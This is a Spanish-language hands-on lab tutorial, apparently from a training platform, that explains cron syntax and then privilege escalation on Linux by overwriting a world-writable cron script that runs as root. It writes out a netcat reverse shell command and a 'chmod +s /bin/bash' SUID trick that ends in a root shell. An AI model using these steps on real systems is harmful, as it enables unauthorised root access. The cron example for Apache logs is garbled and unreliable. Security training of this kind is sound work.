Aprende sobre Cron Jobs y Escalada de Privilegios en Nmap

Introducción

En este laboratorio, aprenderemos sobre los trabajos Cron (Cron Jobs) y la sintaxis de cron, y a través de ejercicios prácticos, rápidamente dominarás el uso de crontab. Además, entenderemos cómo aprovechar configuraciones incorrectas de crontab para escalar privilegios en Linux.

Comprendiendo las Tareas Cron y la Sintaxis de Cron

En este paso, introduciremos los trabajos Cron (Cron Jobs) y la sintaxis de cron.

Los trabajos Cron (Cron Jobs) son "tareas programadas" en el sistema Linux, comúnmente utilizados para programar comandos que deben ejecutarse periódicamente, como copias de seguridad regulares de datos o limpieza de caché. Se les llama trabajos Cron porque utilizan la herramienta cron (crontab).

Los trabajos Cron son una de las herramientas más utilizadas por los administradores de sistemas, y son excelentes herramientas por sí mismas. Sin embargo, si las "tareas programadas" se configuran para ejecutarse con privilegios de usuario más altos (por ejemplo, el usuario root), los atacantes podrían aprovecharlas para escalar privilegios.

El comando crontab utiliza la siguiente sintaxis:

*    *    *    *    *   [ user ] File/Command
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- Día de la semana (0 - 7) (0 = Domingo)
|    |    |    +---------- Mes (1 - 12)
|    |    +--------------- Día del mes (1 - 31)
|    +-------------------- Hora (0 - 23)
+------------------------- Minuto (0 - 59)

El campo user es opcional. Si no se especifica, el comando o script se ejecutará con los privilegios del usuario actual.

Tenga en cuenta que solo el usuario root puede especificar la ejecución de comandos o scripts con los privilegios de otros usuarios.

Por ejemplo, si queremos mostrar el registro de errores de Apache cada hora, podemos usar la siguiente declaración:

0 * * * * echo /var/log/lastlog

Dado que hora, día, mes y semana se establecen en *, la tarea programada se ejecutará una vez cada vez que el minuto llegue a 0, es decir, cada hora.

¿Qué pasa si necesitamos ejecutar un comando cada dos horas a las 15 minutos? Podemos hacer una simple modificación:

15 */2 * * * echo /var/log/lastlog

Para entender el uso de cron, veamos un ejemplo.

Abra la terminal y navegue hasta el directorio /home/labex/project. Luego, ejecute el siguiente comando para inicializar el entorno del laboratorio:
```
./env_setup1.sh
```
Después de una inicialización exitosa, verá el archivo cleanup.py y el directorio trashDirectory en el directorio de inicio del usuario labex. El directorio trashDirectory contiene dos archivos: error.log y readme.txt.

Nuestro objetivo en el laboratorio es el siguiente: Utilice crontab para agregar una tarea programada que llame al script cleanup.py cada 1 minuto para borrar todos los datos en el directorio /home/labex/project/trashDirectory. El script cleanup.py simplemente llama al comando del sistema rm a través de la función os.system() para borrar el directorio /home/labex/project/trashDirectory.
A continuación, utilice el siguiente comando para agregar una tarea programada en crontab:
```
echo "* * * * * root python /home/labex/project/cleanup.py" | sudo tee -a /etc/crontab > /dev/null
```
El comando anterior agrega una tarea programada al archivo crontab. La tarea se ejecutará cada minuto, y el script cleanup.py se ejecutará con privilegios de root.
Dado que el servicio cron está deshabilitado por defecto en nuestra máquina de laboratorio, necesitamos iniciarlo manualmente con el siguiente comando:
```
sudo service cron start
```
Salida esperada:
```
* Starting periodic command scheduler cron
```
Después de aproximadamente un minuto, si ingresamos al directorio /home/labex/project/trashDirectory y usamos el comando ls, veremos que los datos del directorio se han borrado, lo que indica que el trabajo cron se está ejecutando correctamente.

Sobrescribir scripts de crontab para ejecutar una shell inversa

En este paso, aprenderemos cómo escalar privilegios sobrescribiendo scripts llamados por crontab.

Primero, abra la terminal y navegue hasta el directorio /home/labex/project. Luego, ejecute el siguiente comando para inicializar el entorno del laboratorio:
```
cd /home/labex/project
```
Ejecute el script para inicializar el entorno del laboratorio:
```
./env_setup2.sh
```
Después de una inicialización exitosa, use el siguiente comando para ver las tareas programadas en el host:
```
cat /etc/crontab
```
Una de las tareas programadas al final del archivo llamó nuestra atención: cada minuto el sistema ejecuta un script /home/labex/project/cleanup.py como root, que es el archivo que usamos en el paso anterior.
A continuación, veamos los permisos del script:
```
ls -al /home/labex/project/cleanup.py
```
Notamos que los permisos del archivo cleanup.py están configurados con riesgos: otros usuarios también tienen permiso de escritura (w), lo que significa que podemos editar y modificar el contenido de cleanup.py!
Dado que cleanup.py se ejecuta con privilegios de root, podemos usar una shell inversa (Reverse Shell) con privilegios de root.

Use nc.traditional para establecer una shell inversa al puerto local 4444 modificando el script cleanup.py:
```
...
os.system("nc.traditional 127.0.0.1 4444 -e /bin/bash")
...
```
Guarde el archivo y los cambios tendrán efecto después de un minuto.

La razón por la que usamos nc.traditional es que el comando nc por defecto no admite la opción -e.
Luego, ejecute el siguiente comando para escuchar en el puerto local 4444:
```
nc -lnvp 4444
```
Salida esperada:
```
Listening on 0.0.0.0 4444
```
Después de esperar un momento, recibimos con éxito una shell inversa con privilegios de root.
```
Connection received on 127.0.0.1 45480
```
Intente ejecutar el comando whoami para verificar el usuario actual:
```
whoami
root
```

Sobrescribir scripts de crontab para otorgar SUID a Bash

¿Recuerdas la escalada de privilegios SUID que discutimos anteriormente? También podemos usar el script cleanup.py para modificar los permisos de ciertos archivos ejecutables para que tengan el bit setuid activado, lo que nos permite aprovecharlos para una escalada de privilegios SUID, como establecer el bit setuid para bash.

Después del último paso, es posible que todavía estés en una shell de root. Para este paso, debes cerrar la sesión de la shell de root e iniciar sesión nuevamente como el usuario labex ejecutando el siguiente comando:

exit

O puedes abrir una nueva terminal e iniciar sesión como el usuario labex.

Luego, ejecuta el siguiente comando para navegar al directorio /home/labex/project:

cd /home/labex/project

Actualmente, /bin/bash no tiene el bit setuid activado:
```
ls -l /bin/bash
```
Similar al paso anterior, modifica el comando ejecutado por el script cleanup.py al siguiente comando:
```
...
os.system("chmod +s /bin/bash")
...
```
Después de un tiempo, si verificamos /bin/bash, encontraremos que ahora tiene el bit setuid activado, lo que indica que la tarea programada se ha ejecutado con éxito:
```
ls -l /bin/bash
```
Salida esperada:
```
-rwsr-sr-x 1 root root 1396520 Jan 7 2022 /bin/bash
```
Como se muestra arriba, ahora podemos usar bash -p para obtener privilegios de root.
```
labex:project/ $ bash -p
bash-5.1## whoami
root
```
Crea un archivo llamado success.txt en el directorio /root para indicar que has escalado los privilegios con éxito:
```
echo "Congratulations! You have successfully escalated privileges to root." > /root/success.txt
```

Resumen

En este laboratorio, aprendimos sobre los trabajos Cron (Cron Jobs), la sintaxis de cron y dominamos el uso de crontab a través de ejercicios prácticos. Finalmente, aprovechamos una configuración incorrecta de crontab para escalar con éxito nuestra shell a privilegios de root.